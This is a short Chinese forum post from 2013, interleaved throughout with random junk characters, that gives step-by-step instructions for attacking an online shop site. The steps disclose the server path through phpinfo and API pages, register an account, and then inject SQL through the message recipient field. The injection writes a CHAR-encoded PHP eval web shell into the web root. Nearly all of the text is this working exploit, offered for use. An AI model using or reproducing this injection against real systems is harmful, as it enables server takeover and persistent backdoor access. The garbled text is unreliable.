第一个：想办法找到目标网站的绝对路径( {( T/ d9 M) ^$ Y% c& q5 v4 h+ ~
1 j, K K% _" B V2 Dhttp://www.political-security.com/install/svinfo.php?phpinfo=true7 S4 X; i3 h! V. M3 |
4 |4 Z. I1 z+ s- y, ghttp:/www.political-security.com/core/api/shop_api.php2 ^" v- j# g$ a1 ~) |1 \- a
1 n3 s8 ~& }0 w9 Q; _7 I" A* F5 H! V& Thttp://www.political-security.co ... api_b2b_2_0_cat.php
9 U4 w5 p J) s6 j+ e! X5 N8 g- w
% E. T# F ], ?" N- r% Hhttp://www.political-security.com/core/ap ... b_2_0_goodstype.php( X e4 I& D: l/ u, b
( I, q. m& v% U4 g# N4 Hhttp://www.political-security.co ... i_b2b_2_0_brand.php+ g; e/ u1 z# t6 q% V/ ?
第二个：注册一个普通用户
9 Q: y! ^8 {8 \ _0 Q! y* Y' U2 D, ~6 O2 X
http://www.political-security.com/?passport-signup.html
2 |! w" `# P3 U8 o: C- a
# C+ r8 Y" ~9 \* P: E第三个： 发送消息 2 K! V$ p9 U; J' a- f7 m/ }
" c( _% k; k1 V8 Z6 h$ V0 N$ bhttp://www.political-security.com/?member-send.html& P& G4 p8 k7 {: @) R8 }
发送给中填写2 e8 I# j% o4 X
antian365.com' union select CHAR(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 39, 35, 39, 93, 41, 59, 63, 62) into outfile 'E:/zkeysoft/www/x.php' # |
发表于 2013-2-27 21:28:28
收藏
支持
反对